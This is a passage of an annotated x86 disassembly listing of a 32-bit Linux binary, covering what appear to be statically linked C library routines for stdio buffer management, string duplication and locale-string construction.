		lea	esi, [esi+0]

loc_0_80622A4:				; CODE XREF: .text:080622B5j
		cmp	[edx], eax
		jnz	short loc_0_80622B0
		mov	eax, [eax]
		mov	[edx], eax
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_80622B0:				; CODE XREF: .text:080622A6j
		mov	edx, [edx]
		cmp	dword ptr [edx], 0
		jnz	short loc_0_80622A4

loc_0_80622B7:				; CODE XREF: .text:0806229Fj
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+8]
		mov	eax, [ebp+0Ch]
		mov	edx, [edx+8]
		sub	edx, [eax+8]
		mov	eax, edx
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+8]
		cmp	dword ptr [edx+4], 0
		jnz	short loc_0_80622EC
		mov	eax, 0FFFFFFFFh
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80622EC:				; CODE XREF: .text:080622DEj
		mov	eax, [edx+4]
		test	byte ptr [eax+1], 1
		jz	short loc_0_8062300
		mov	ecx, [eax+4]
		sub	ecx, [eax+8]
		jmp	short loc_0_8062309
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8062300:				; CODE XREF: .text:080622F3j
		mov	eax, [edx+4]
		mov	ecx, [eax+4]
		sub	ecx, [eax+0Ch]

loc_0_8062309:				; CODE XREF: .text:080622FBj
		mov	eax, ecx
		mov	edx, [edx+8]
		sub	edx, eax
		mov	eax, edx
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	ebx, [ebp+8]
		mov	esi, [ebp+0Ch]
		cmp	[esi+4], ebx
		jz	short loc_0_8062330
		mov	eax, 0FFFFFFFFh
		jmp	short loc_0_806235F
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8062330:				; CODE XREF: .text:08062326j
		cmp	dword ptr [esi+8], 0
		jl	short loc_0_8062348
		test	byte ptr [ebx+1], 1
		jz	short loc_0_8062342
		push	ebx
		call	sub_0_806180C

loc_0_8062342:				; CODE XREF: .text:0806233Aj
		mov	edx, [ebx+0Ch]
		jmp	short loc_0_8062357
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8062348:				; CODE XREF: .text:08062334j
		test	byte ptr [ebx+1], 1
		jnz	short loc_0_8062354
		push	ebx
		call	sub_0_806183C

loc_0_8062354:				; CODE XREF: .text:0806234Cj
		mov	edx, [ebx+8]

loc_0_8062357:				; CODE XREF: .text:08062345j
		add	edx, [esi+8]
		mov	[ebx+4], edx
		xor	eax, eax

loc_0_806235F:				; CODE XREF: .text:0806232Dj
		lea	esp, [ebp-8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8062368	proc near		; CODE XREF: sub_0_8060D44+21p
					; .text:0806143Dp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+30h], 0
		jz	short loc_0_806237B
		mov	dword ptr [eax+30h], 0

loc_0_806237B:				; CODE XREF: sub_0_8062368+Aj
		cmp	dword ptr [eax+24h], 0
		jz	short loc_0_8062387
		push	eax
		call	sub_0_80618D4

loc_0_8062387:				; CODE XREF: sub_0_8062368+17j
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8062368	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+8]
		mov	ecx, [ebp+0Ch]
		mov	eax, [edx+4]
		cmp	[edx+0Ch], eax
		jnb	short loc_0_80623A0
		dec	dword ptr [edx+4]

loc_0_80623A0:				; CODE XREF: .text:0806239Bj
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_0_80623B1
		mov	edx, [edx+4]
		movzx	eax, byte ptr [edx]
		cmp	eax, ecx
		jz	short loc_0_80623B1
		mov	[edx], cl

loc_0_80623B1:				; CODE XREF: .text:080623A3j
					; .text:080623ADj
		movzx	eax, cl
		mov	esp, ebp
		pop	ebp
		retn	

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_80623B8	proc near		; CODE XREF: .text:0805319Ep

var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		mov	eax, [edi+4]
		cmp	[edi+0Ch], eax
		jb	loc_0_8062474
		cmp	dword ptr [edi+24h], 0
		jz	short loc_0_80623EB
		test	byte ptr [edi+1], 1
		jnz	short loc_0_80623E5
		push	edi
		call	sub_0_806183C
		add	esp, 4

loc_0_80623E5:				; CODE XREF: sub_0_80623B8+22j
		cmp	dword ptr [edi+24h], 0
		jnz	short loc_0_8062414

loc_0_80623EB:				; CODE XREF: sub_0_80623B8+1Cj
		call	malloc(128)
		test	eax, eax
		jz	short loc_0_8062438
		mov	[edi+24h], eax
		add	eax, 80h
		mov	[edi+2Ch], eax
		mov	[edi+28h], eax
		push	edi
		call	sub_0_806183C
		jmp	short loc_0_8062474
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8062414:				; CODE XREF: sub_0_80623B8+31j
		mov	eax, [edi+4]
		cmp	[edi+0Ch], eax
		jb	short loc_0_8062474
		mov	esi, [edi+8]
		sub	esi, [edi+0Ch]
		lea	ecx, [esi+esi]
		mov	[ebp+var_4], ecx
		call	malloc(var_4)
		mov	[ebp+var_8], eax
		test	eax, eax
		jnz	short loc_0_8062440

loc_0_8062438:				; CODE XREF: sub_0_80623B8+42j
		mov	eax, 0FFFFFFFFh
		jmp	short loc_0_8062493
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8062440:				; CODE XREF: sub_0_80623B8+7Ej
		mov	ebx, [ebp+var_4]
		sub	ebx, esi
		mov	eax, [edi+0Ch]
		add	ebx, [ebp+var_8]
		call	memcpy(ebx,eax,esi)
		call	free([edi+0Ch])
		mov	ecx, [ebp+var_8]
		mov	[edi+0Ch], ecx
		mov	[edi+4], ebx
		add	ecx, [ebp+var_4]
		mov	[edi+8], ecx
		mov	eax, [edi+4]
		mov	[edi+28h], eax

loc_0_8062474:				; CODE XREF: sub_0_80623B8+12j
					; sub_0_80623B8+58j ...
		dec	dword ptr [edi+4]
		cmp	[ebp+arg_4], 0FFFFFFFFh
		jz	short loc_0_806248D
		mov	edx, [edi+4]
		movzx	eax, byte ptr [edx]
		cmp	[ebp+arg_4], eax
		jz	short loc_0_806248D
		mov	cl, byte ptr [ebp+arg_4]
		mov	[edx], cl

loc_0_806248D:				; CODE XREF: sub_0_80623B8+C3j
					; sub_0_80623B8+CEj
		mov	eax, [edi+4]
		movzx	eax, byte ptr [eax]

loc_0_8062493:				; CODE XREF: sub_0_80623B8+85j
		lea	esp, [ebp+var_14]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_80623B8	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
		push	ebp
		mov	ebp, esp
		mov	eax, 0FFFFFFFFh
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		push	ebp
		mov	ebp, esp
		mov	eax, 0FFFFFFFFh
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		push	ebp
		mov	ebp, esp
		mov	eax, 0FFFFFFFFh
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_80624D0	proc near		; CODE XREF: sub_0_805F68C+6Cp
					; sub_0_805F730+60p ...

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	eax, strlen(ebx)
		mov	edi, eax
		test	edx, edx
		jnz	short loc_0_8062500

loc_0_80624F2:				; CODE XREF: sub_0_80624D0+3Cj
		mov	errno, 16h
		jmp	short loc_0_8062524
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8062500:				; CODE XREF: sub_0_80624D0+20j
		mov	eax, [edx]
		and	eax, 0FFFF0000h
		cmp	eax, 0FBAD0000h
		jnz	short loc_0_80624F2
		mov	eax, [edx+50h]
		push	edi
		push	ebx
		push	edx
		mov	eax, [eax+34h]
		call	eax
		cmp	eax, edi
		jnz	short loc_0_8062524
		mov	eax, 1
		jmp	short loc_0_8062529
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8062524:				; CODE XREF: sub_0_80624D0+2Cj
					; sub_0_80624D0+4Bj
		mov	eax, 0FFFFFFFFh

loc_0_8062529:				; CODE XREF: sub_0_80624D0+52j
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_80624D0	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_806267C	proc near		; CODE XREF: sub_0_8054DB8+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_8]
		cmp	dword ptr [ebx+24h], 0
		jz	short loc_0_80626AD
		cmp	edi, 1
		jnz	short loc_0_80626A4
		test	byte ptr [ebx+1], 1
		jz	short loc_0_80626A4
		mov	eax, [ebx+8]
		sub	eax, [ebx+4]
		sub	esi, eax

loc_0_80626A4:				; CODE XREF: sub_0_806267C+18j
					; sub_0_806267C+1Ej
		push	ebx
		call	sub_0_80618D4
		add	esp, 4

loc_0_80626AD:				; CODE XREF: sub_0_806267C+13j
		mov	eax, [ebx+50h]
		mov	edx, [ebp+arg_C]
		push	edx
		push	edi
		push	esi
		push	ebx
		mov	eax, [eax+44h]
		call	eax
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_806267C	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_80626C8	proc near		; CODE XREF: sub_0_8054DF0+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	edx, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		test	edx, edx
		jz	short loc_0_80626E7
		mov	eax, [edx]
		and	eax, 0FFFF0000h
		cmp	eax, 0FBAD0000h
		jz	short loc_0_80626F4

loc_0_80626E7:				; CODE XREF: sub_0_80626C8+Fj
		mov	errno, 16h
		jmp	short loc_0_806270B
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80626F4:				; CODE XREF: sub_0_80626C8+1Dj
		and	dword ptr [edx], 0FFFFFDFFh
		test	ebx, ebx
		jnz	short loc_0_8062700
		xor	ecx, ecx

loc_0_8062700:				; CODE XREF: sub_0_80626C8+34j
		mov	eax, [edx+50h]
		push	ecx
		push	ebx
		push	edx
		mov	eax, [eax+54h]
		call	eax

loc_0_806270B:				; CODE XREF: sub_0_80626C8+29j
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_80626C8	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_80628F8	proc near		; CODE XREF: sub_0_8062D4C+347p
					; sub_0_8062D4C+577p ...

var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_4], ecx
		mov	esi, [ebp+arg_0]
		mov	ebx, strlen(esi)+1
		call	malloc(ebx)
		mov	edi, eax
		test	edi, edi
		jz	short loc_0_8062934
		call	memcpy(edi,esi,ebx)
		mov	eax, edi
		jmp	short loc_0_8062936
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8062934:				; CODE XREF: sub_0_80628F8+2Cj
		xor	eax, eax

loc_0_8062936:				; CODE XREF: sub_0_80628F8+38j
		lea	esp, [ebp+var_10]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_80628F8	endp


; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8062940	proc near		; CODE XREF: sub_0_8062D4C+6B4p
					; sub_0_8062D4C+84Fp

var_58		= byte ptr -58h
var_4C		= dword	ptr -4Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_4], ecx
		mov	[ebp+var_20], 0
		mov	[ebp+var_28], 1
		mov	[ebp+var_4C], 0
		lea	esi, [esi+0]

loc_0_8062964:				; CODE XREF: sub_0_8062940+132j
		cmp	[ebp+arg_0], 6
		jnz	short loc_0_8062978
		mov	edx, [ebp+var_4C]
		mov	esi, [ebp+arg_4]
		mov	ebx, [esi+edx*4]
		jmp	short loc_0_8062992
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8062978:				; CODE XREF: sub_0_8062940+28j
		mov	edx, [ebp+var_4C]
		cmp	[ebp+arg_0], edx
		jnz	short loc_0_8062988
		mov	esi, [ebp+arg_4]
		mov	ebx, [esi]
		jmp	short loc_0_8062992
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8062988:				; CODE XREF: sub_0_8062940+3Ej
		mov	edx, [ebp+var_4C]
		mov	ebx, dword_0_80790BC[edx*4]

loc_0_8062992:				; CODE XREF: sub_0_8062940+33j
					; sub_0_8062940+45j
		call	strlen(ebx)
		mov	esi, [ebp+var_4C]
		mov	[ebp+esi*4+var_1C], eax
		mov	eax, [ebp+esi*4+var_1C]
		mov	edx, [ebp+var_4C]
		add	eax, ds:dword_0_806AA8C[edx*4]
		mov	esi, [ebp+var_20]
		lea	esi, [esi+eax+2]
		mov	[ebp+var_20], esi
		test	edx, edx
		jle	short loc_0_80629E6
		cmp	[ebp+var_28], 0
		jz	short loc_0_80629E6
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		push	eax
		push	ebx
		call	sub_0_8057ADC
		add	esp, 8
		test	eax, eax
		jz	short loc_0_80629E6
		mov	[ebp+var_28], 0

loc_0_80629E6:				; CODE XREF: sub_0_8062940+84j
					; sub_0_8062940+8Aj ...
		mov	esi, [ebp+var_4C]
		inc	esi
		mov	[ebp+var_3C], esi
		cmp	[ebp+arg_0], 6
		jnz	short loc_0_80629FC
		mov	edx, [ebp+arg_4]
		mov	ebx, [edx+esi*4]
		jmp	short loc_0_8062A16
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80629FC:				; CODE XREF: sub_0_8062940+B1j
		mov	esi, [ebp+var_3C]
		cmp	[ebp+arg_0], esi
		jnz	short loc_0_8062A0C
		mov	edx, [ebp+arg_4]
		mov	ebx, [edx]
		jmp	short loc_0_8062A16
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8062A0C:				; CODE XREF: sub_0_8062940+C2j
		mov	esi, [ebp+var_3C]
		mov	ebx, dword_0_80790BC[esi*4]

loc_0_8062A16:				; CODE XREF: sub_0_8062940+B9j
					; sub_0_8062940+C9j
		call	strlen(ebx)
		mov	edx, [ebp+var_3C]
		mov	[ebp+edx*4+var_1C], eax
		mov	eax, [ebp+edx*4+var_1C]
		mov	esi, [ebp+var_3C]
		add	eax, ds:dword_0_806AA8C[esi*4]
		mov	edx, [ebp+var_20]
		lea	edx, [edx+eax+2]
		mov	[ebp+var_20], edx
		test	esi, esi
		jle	short loc_0_8062A6A
		cmp	[ebp+var_28], 0
		jz	short loc_0_8062A6A
		mov	esi, [ebp+arg_4]
		mov	eax, [esi]
		push	eax
		push	ebx
		call	sub_0_8057ADC
		add	esp, 8
		test	eax, eax
		jz	short loc_0_8062A6A
		mov	[ebp+var_28], 0

loc_0_8062A6A:				; CODE XREF: sub_0_8062940+108j
					; sub_0_8062940+10Ej ...
		add	[ebp+var_4C], 2
		cmp	[ebp+var_4C], 5
		jle	loc_0_8062964
		cmp	[ebp+var_28], 0
		jz	short loc_0_8062AFC
		call	malloc(var_1c+1)
		mov	[ebp+var_24], eax
		test	eax, eax
		jnz	short loc_0_8062AE0
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		mov	edi, offset unk_0_806AABE
		mov	ecx, 2
		mov	esi, eax
		cld	
		test	al, 0
		repe cmpsb
		jz	short loc_0_8062ABF
		mov	eax, [edx]
		mov	edi, offset aPosix ; "POSIX"
		mov	ecx, 6
		mov	esi, eax
		cld	
		test	al, 0
		repe cmpsb
		jnz	short loc_0_8062ACC

loc_0_8062ABF:				; CODE XREF: sub_0_8062940+168j
		mov	eax, offset unk_0_806AABC
		jmp	loc_0_8062C8F
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8062ACC:				; CODE XREF: sub_0_8062940+17Dj
		mov	errno, 16h
		xor	eax, eax
		jmp	loc_0_8062C8F
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8062AE0:				; CODE XREF: sub_0_8062940+150j
		mov	edx, [ebp+arg_4]
		mov	edx, [edx]
		call	memcpy(var_24,edx,var_1C+1)
		jmp	loc_0_8062C8C
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8062AFC:				; CODE XREF: sub_0_8062940+13Cj
		call	malloc(var_20)
		mov	[ebp+var_24], eax
		test	eax, eax
		jnz	short loc_0_8062B18
		xor	eax, eax
		jmp	loc_0_8062C8F
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8062B18:				; CODE XREF: sub_0_8062940+1CDj
		mov	ebx, [ebp+var_24]
		mov	[ebp+var_4C], 0
		mov	[ebp+var_2C], offset dword_0_806AA8C
		mov	[ebp+var_30], offset dword_0_806AA8C

loc_0_8062B30:				; CODE XREF: sub_0_8062940+342j
		cmp	[ebp+arg_0], 6
		jnz	short loc_0_8062B44
		mov	esi, [ebp+var_4C]
		mov	edx, [ebp+arg_4]
		mov	edi, [edx+esi*4]
		jmp	short loc_0_8062B5E
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8062B44:				; CODE XREF: sub_0_8062940+1F4j
		mov	esi, [ebp+var_4C]
		cmp	[ebp+arg_0], esi
		jnz	short loc_0_8062B54
		mov	edx, [ebp+arg_4]
		mov	edi, [edx]
		jmp	short loc_0_8062B5E
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8062B54:				; CODE XREF: sub_0_8062940+20Aj
		mov	esi, [ebp+var_4C]
		mov	edi, dword_0_80790BC[esi*4]

loc_0_8062B5E:				; CODE XREF: sub_0_8062940+1FFj
					; sub_0_8062940+211j
		mov	edx, [ebp+var_4C]
		mov	eax, ds:dword_0_806AA34[edx*4]
		mov	esi, [ebp+var_30]
		mov	esi, [esi]
		call	memcpy(ebx,eax,[esi])
		mov	edx, [ebp+var_2C]
		add	ebx, [edx]
		mov	byte ptr [ebx],	3Dh
		inc	ebx
		mov	esi, [ebp+var_4C]
		call	memcpy(ebx,edi,[ebp+esi*4+var_1C])
		add	ebx, [ebp+esi*4+var_1C]
		mov	byte ptr [ebx],	3Bh
		inc	ebx
		mov	edi, [ebp+var_4C]
		inc	edi
		cmp	[ebp+arg_0], 6
		jnz	short loc_0_8062BB0
		mov	edx, [ebp+arg_4]
		mov	edx, [edx+edi*4]
		jmp	short loc_0_8062BC7
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8062BB0:				; CODE XREF: sub_0_8062940+263j
		cmp	[ebp+arg_0], edi
		jnz	short loc_0_8062BC0
		mov	esi, [ebp+arg_4]
		mov	esi, [esi]
		mov	[ebp+var_34], esi
		jmp	short loc_0_8062BCA
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8062BC0:				; CODE XREF: sub_0_8062940+273j
		mov	edx, dword_0_80790BC[edi*4]

loc_0_8062BC7:				; CODE XREF: sub_0_8062940+26Bj
		mov	[ebp+var_34], edx

loc_0_8062BCA:				; CODE XREF: sub_0_8062940+27Dj
		mov	eax, ds:dword_0_806AA34[edi*4]
		mov	esi, [ebp+var_30]
		mov	esi, [esi+4]
		call	memcpy(ebx,eax,esi)
		mov	edx, [ebp+var_2C]
		add	ebx, [edx+4]
		mov	byte ptr [ebx],	3Dh
		inc	ebx
		call	memcpy(ebx,var_34,[ebp+edi*4+var_1C])
		add	ebx, [ebp+edi*4+var_1C]
		mov	byte ptr [ebx],	3Bh
		inc	ebx
		mov	edi, [ebp+var_4C]
		add	edi, 2
		cmp	[ebp+arg_0], 6
		jnz	short loc_0_8062C1C
		mov	edx, [ebp+arg_4]
		mov	edx, [edx+edi*4]
		jmp	short loc_0_8062C33
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8062C1C:				; CODE XREF: sub_0_8062940+2D0j
		cmp	[ebp+arg_0], edi
		jnz	short loc_0_8062C2C
		mov	esi, [ebp+arg_4]
		mov	esi, [esi]
		mov	[ebp+var_38], esi
		jmp	short loc_0_8062C36
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8062C2C:				; CODE XREF: sub_0_8062940+2DFj
		mov	edx, dword_0_80790BC[edi*4]

loc_0_8062C33:				; CODE XREF: sub_0_8062940+2D8j
		mov	[ebp+var_38], edx

loc_0_8062C36:				; CODE XREF: sub_0_8062940+2E9j
		mov	eax, ds:dword_0_806AA34[edi*4]
		mov	esi, [ebp+var_30]
		mov	esi, [esi+8]
		call	memcpy(ebx,eax,esi)
		mov	edx, [ebp+var_2C]
		add	ebx, [edx+8]
		mov	byte ptr [ebx],	3Dh
		inc	ebx
		call	memcpy(ebx,var_38,[ebp+edi*4+var_1C])
		add	esp, 0Ch
		add	ebx, [ebp+edi*4+var_1C]
		mov	byte ptr [ebx],	3Bh
		inc	ebx
		add	[ebp+var_2C], 0Ch
		add	[ebp+var_30], 0Ch
		add	[ebp+var_4C], 3
		cmp	[ebp+var_4C], 5
		jle	loc_0_8062B30
		mov	byte ptr [ebx-1], 0

loc_0_8062C8C:				; CODE XREF: sub_0_8062940+1B4j
		mov	eax, [ebp+var_24]

loc_0_8062C8F:				; CODE XREF: sub_0_8062940+184j
					; sub_0_8062940+198j ...
		lea	esp, [ebp+var_58]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8062940	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8062C9C	proc near		; CODE XREF: sub_0_8062D4C+7ABp
					; sub_0_8062D4C+8EEp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		mov	edx, dword_0_80790D4
		mov	dword_0_80790D4, eax
		cmp	edx, offset unk_0_806AABC
		jz	short loc_0_8062CC1
		call	free(edx)

loc_0_8062CC1:				; CODE XREF: sub_0_8062C9C+1Dj
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8062C9C	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8062CC8	proc near		; CODE XREF: sub_0_8062D4C+6E9p
					; sub_0_8062D4C+70Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
